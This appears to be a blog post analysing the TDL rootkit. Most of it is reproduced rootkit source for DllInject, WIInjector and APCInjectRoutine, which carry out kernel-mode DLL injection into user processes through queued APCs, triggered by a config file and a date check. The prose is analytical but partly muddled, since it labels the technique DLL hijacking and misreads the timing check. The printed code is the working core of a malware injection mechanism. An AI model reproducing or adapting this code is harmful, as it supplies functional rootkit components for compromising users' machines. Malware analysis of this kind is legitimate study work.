In our last post about TDL rootkit, we discussed about the some of the generic features of TDL rootkit. As we know, all of the rootkits somewhat use DLL Hijacking technique. Same is true with TDL rootkit too. DLLInject function is presented below.
Generally, this function use is designed in TDL rootkit to load the malicious or systems specific DLL directly from the path defined (*pcDll!='\\'). The malicious DLL can be loaded from the root directory of TDL rootkit. If no path is provided then it uses the explicit path define in the parameter cDllRealFormat[]=. After this, the code tries to find the unique process identifier of the process and not the process handle as specified in the parameter cidProcess.UniqueProcess=hProcessID;. "ZwOpenProcess" functions opens the specific process and virtual memory is allocated using "(ZwAllocateVirtualMemory". By using KeStackAttachProcess the module attaches the current thread to the address space of the target process. After copying the real path "pcDllReal" to the memory. As soon as this is completed, KeUnstackDetachProcess routine detaches the current thread from the address space of a process and restores the previous attach state.
NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)
{
HANDLE hProcess;
OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};
CLIENT_ID cidProcess;
PVOID pvMemory=0;
DWORD dwSize;
CHAR cDllReal[MAX_PATH];
CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};
PCHAR pcDllReal;
if(*pcDll!='\\') {
dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,
GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1;
pcDllReal=cDllReal;
}
else {
pcDllReal=pcDll;
dwSize=strlen(pcDll)+1; }
cidProcess.UniqueProcess=hProcessID;
cidProcess.UniqueThread=0;
if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess)))
{
if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,
MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))
{
KAPC_STATE kasState;
PKAPC pkaApc;
KeStackAttachProcess(pepProcess,&kasState);
strcpy(pvMemory,pcDllReal);
KeUnstackDetachProcess(&kasState);
pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
if(pkaApc!=0)
{
KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,
APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory);
KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
}
ZwClose(hProcess); }
return STATUS_NO_MEMORY;}
This module is used directly in conjunction with WIInjector in order to complete DLL injection. The WIInjector code is somewhat works as follows
VOID WIInjector(PVOID pvContext)
{
CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;
CHAR cSection[]=TDL_CONFIG_INJECTOR;
CHAR cDll[MAX_PATH];
CHAR cSection2[]=TDL_CONFIG_MAIN;
CHAR cKey[]={'d','a','t','e',0};
DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0);
DWORD dwCurrent;
LARGE_INTEGER liTime;
KeQuerySystemTime(&liTime);
RtlTimeToSecondsSince1970(&liTime,&dwCurrent);
//CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};
//DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);
//if(dwCurrent-dwDate>=60*24*60)
{
DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);
if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))
{
DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
}
if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer
(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,
cDll,sizeof(cDll)))
{
DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); }
}
KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE);
return;
}
In the above presented code, TDL uses a specific configuration file in order to load
information such as PID from parameters as "cAny[]=TDL_CONFIG_INJECTOR_ANY";"cSection[]=TDL_CONFIG_INJECTOR;". It uses explicit time functions in order to trigger infection. "TDLIniReadString" is a custom designed module which is a part of TDL rootkit library. The DLLInject function is called when current date is verified as (dwCurrent-dwDate>=60*24*60). After this WIInjector is triggered as a part of "APCInjectRoutine"
VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)
{
WI_INJECT wiiItem;
ExFreePool(pkaApc);
wiiItem.pktThread=KeGetCurrentThread();
wiiItem.pepProcess=IoGetCurrentProcess();
wiiItem.hProcessID=PsGetCurrentProcessId();
KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE);
ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem);
ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue);
KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0);
return;
}
The discussion will remain continue in the next posts....